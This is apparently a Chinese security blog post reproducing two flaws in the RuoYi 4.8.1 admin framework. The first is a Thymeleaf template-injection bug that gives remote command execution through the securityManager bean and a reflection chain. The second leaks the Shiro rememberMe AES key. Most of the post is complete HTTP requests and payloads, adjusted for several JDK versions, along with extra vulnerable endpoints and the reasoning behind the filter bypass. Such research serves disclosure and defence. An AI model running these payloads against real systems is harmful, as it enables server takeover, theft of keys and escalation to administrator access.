若依4.8.1 后台SSTI注入RCE和泄露ShiroKey漏洞复现

SSTI 注入 RCE

漏洞复现

  • jdk8u152(据作者所说当 jdk8u300+后盖 ssti 注入 rce 漏洞无法实现)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /monitor/cache/getNames HTTP/1.1
Host: localhost
Content-Length: 360
sec-ch-ua-platform: "Windows"
X-CSRF-Token: NvGDcXsqxAZ3sO19ckQ7j0fSjEibDHcKoY7pCBAaCE4=
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/monitor/cache
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=605f03e0-f44b-4d92-a50d-13aa65ada551
Connection: keep-alive

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

上述的复现环境是在 jdk8u152 中进行的,据说该 rce 漏洞能够给在 jdk11、jdk17、jdk22 等环境中实现

  • jdk17.0.7

不同的 jdk 大版本的 exec 方法的位置可能不同,可以通过爆破的方法获取争取的位置,例如下面的 jdk17 的 exec 方法所在的索引就是2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /monitor/cache/getNames HTTP/1.1
Host: localhost
Content-Length: 360
sec-ch-ua-platform: "Windows"
X-CSRF-Token: MPmE+4uByjsUC+uvQTJa91ZbsKQZoXCWCjSlrWaI5sc=
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/monitor/cache
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=bfb93594-8c4d-4b40-9469-dd30c0226048
Connection: keep-alive

fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][2].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

除了参考文章中的接口/monitor/cache/getNames,其他包含 SSTI 注入的接口也一样可以打通这个漏洞,例如以下的接口:

  1. /monitor/cache/getKeys
  2. /monitor/cache/getValue
  3. /demo/form/localrefresh/task

对于/monitor/cache/getKeys/monitor/cache/getValue需要包含有效的缓存名才能够正确打通 payload,/demo/form/localrefresh/task则不需要,系统默认存在的缓存名如下:

漏洞分析

Thymeleaf 3.0.12 及以上版本中,SpringStandardExpressionUtils 类引入了更严格的检查机制(如 containsSpELInstantiationOrStatic 或其后续演进版本 containsSpELInstantiationOrStaticOrParam)。

该检查明确禁止了以下 SpEL(Spring Expression Language)语法:

  1. 静态类型引用T(java.lang.Runtime) —— 禁止直接调用静态类。
  2. 对象实例化new java.io.File(...) —— 禁止使用 new 关键字创建对象。
  3. 参数引用:禁止访问 param 对象。

因此,之前常见的 Payload(如 ${T(java.lang.Runtime).getRuntime().exec(...)})会直接报错,被拦截。

既然不能“凭空”创建对象(不能用 new)也不能“直接”引用类(不能用 T()),攻击者需要寻找一个已经存在于 Spring 上下文中的对象作为切入点。

思路如下:

  1. 利用 Spring Bean:Thymeleaf 允许通过 @beanName 的语法直接访问 Spring 容器中管理的 Bean。这是合法的语法,不会被安全检查拦截。
  2. 寻找目标 Bean:RuoYi 集成了 Shiro,因此容器中必然存在名为 securityManager 的 Bean。
  3. 链式反射调用:一旦获取了一个 Java 对象(Bean),就可以通过标准的 Java 方法调用链(反射)来“顺藤摸瓜”:
    • 对象.getClass() -> 获取 Class 对象。
    • Class.forName(...) -> 加载任意类(如 java.lang.Runtime)。
    • getMethod(...) -> 获取方法。
    • invoke(...) -> 执行方法。

总结:绕过的核心在于用“已有的 Bean 对象 + 反射链式调用”替代了被禁用的“静态类引用 + 构造函数”。

为了执行命令,我们需要获取 Runtime.getRuntime().exec()

构造步骤:

  1. 入口:使用 @securityManager
  2. 加载类:通过 @securityManager.getClass().forName("java.lang.Runtime") 来加载 Runtime 类。
  3. 获取方法:使用 SpEL 的集合选择语法 .getMethods().?[name=='getRuntime'][0] 筛选出 getRuntime 方法。
  4. 实例化:调用 invoke(null) 获取 Runtime 实例。
  5. 执行命令:再次获取 exec 方法并调用。

最终 Payload (jdk8u152):

1
__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x

注意:exec 方法在 getMethods() 返回数组中的索引(如 [0])可能随 JDK 版本不同而变化,攻击时可能需要爆破该索引(0-5)。

SSTI 注入获取 ShiroKey

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /monitor/cache/getNames HTTP/1.1
Host: localhost
Content-Length: 205
sec-ch-ua-platform: "Windows"
X-CSRF-Token: NvGDcXsqxAZ3sO19ckQ7j0fSjEibDHcKoY7pCBAaCE4=
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/monitor/cache
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=605f03e0-f44b-4d92-a50d-13aa65ada551
Connection: keep-alive

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

最新版 4.8.1 的 Ruoyi 框架在笨死并没有包含任何利用连的依赖,所以就算爆破所有的利用链也依旧无法利用执行命令。

漏洞分析

该漏洞的原理是基于 SSTI 注入 RCE 的延申,但是其危害在我看来并不大,根本原因在于,只要部署的若依没有对依赖进行修改和添加,就算获取了 shirokey,也没有办法找到有效的利用链实现 RCE。

在这就是能够提升后台用户权限,通过 Shiro Key 伪造管理员用户,将普通的后台用户权限,提升到更高的管理员权限用户,在进一步挖掘漏洞。

为了利用 Shiro 反序列化漏洞,需要获取 AES 密钥。密钥存储在 CookieRememberMeManager 对象中。

构造步骤:

  1. 入口@securityManager
  2. 获取 Manager:调用 securityManager.getRememberMeManager()
  3. 反射读取字段:通过反射找到 getCipherKey 方法(或直接访问字段,取决于可见性,通常用 getter)。
  4. 编码输出:利用 Java 的 Base64 工具类对字节数组进行编码,方便显示。

最终 Payload:

1
__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

参考链接

  1. https://mp.weixin.qq.com/s/4yi0UOTgBCsGK6J8qSz8tQ?scene=1

若依4.8.1 后台SSTI注入RCE和泄露ShiroKey漏洞复现
http://candyb0x.github.io/2025/12/05/若依4-8-1-后台SSTI注入RCE和泄露ShiroKey漏洞复现/
作者
Candy
发布于
2025年12月5日
更新于
2025年12月5日
许可协议